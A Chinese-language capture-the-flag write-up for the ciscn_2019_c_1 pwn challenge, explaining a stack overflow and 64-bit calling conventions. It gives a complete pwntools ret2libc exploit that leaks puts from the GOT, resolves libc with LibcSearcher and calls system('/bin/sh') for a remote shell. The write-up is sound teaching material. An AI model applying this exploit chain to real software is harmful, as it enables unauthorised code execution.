目录
一、题目速阅
拿到题目,进行check
└─$ checksec ciscn_2019_c_1 1 ⚙
[*] '/home/kali/Desktop/prac/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
得到信息,64IDA进行反编译:
主函数中没有什么特别的东西, 进入begin:
进入1选项,即encrypt函数:
在这里可以看到s中有++x,有栈溢出,根据此构建payload。
二、知识要点
64位程序函数传参方式:
函数值寄存在rdi,rsi,rdx,rcx,r8,r9,进行带参数函数时依次将函数传递到寄存器内再进行函数运行,而32函数是直接在栈中取,构建payload示意图:
首先应将s空间进行泄露,0x50+覆盖rdp的值,即 0x50+8 的数据量进行第一层覆盖
再利用pop_rdi;ret语句进行将下一层值推入寄存器rdi中作为参数,本次payload构建目的在于利用puts函数泄露本身的真实地址,从而获取Libc基址,所以将puts_got作为参数,运行函数地址为puts_plt,即用puts来打印出Puts_got的地址,最后再返回start函数重新运行,在后续中再次利用libc的基址找出system以及“bin/sh”的地址,从而构建第二次payload,要注意的是由于靶机是Ubuntu,所以要构建栈平衡,第二次payload需要加入ret。
pop_rdi;ret地址获取语句:
ROPgadget --binary ciscn_2019_c_1 | grep "pop rdi ; ret"
ret地址获取语句:
ROPgadget --binary ciscn_2019_c_1 | grep "ret"
三、题解payload
from pwn import *
from LibcSearcher import *
sh = remote('node4.buuoj.cn',25927)
elf=ELF('./ciscn_2019_c_1')
ocontent = 0
context(os='linux', arch='amd64', log_level='debug') #Debug log
rdi_addr = 0x400c83
start_addr = elf.sym['main']
put_plt = elf.plt['puts']
put_got = elf.got['puts']
sh.sendlineafter('ice!\n','1')
payload1 = cyclic(0x50+8)+p64(rdi_addr) +p64(put_got) +p64(put_plt) +p64(start_addr)
sh.sendline(payload1)
sh.recvuntil("Ciphertext\n")
sh.recvuntil("\n")
puts_addr=u64(sh.recvuntil('\n',drop=True).ljust(8,b'\x00'))
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
system_addr = libcbase + libc.dump("system")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")
sh.sendlineafter('ice!\n','1')
ret_addr=0x4006b9 #stack balance
payload2 = cyclic(0x50+8)+p64(ret_addr)+p64(rdi_addr)+p64(bin_sh_addr) + p64(system_addr)
sh.sendline(payload2)
sh.interactive()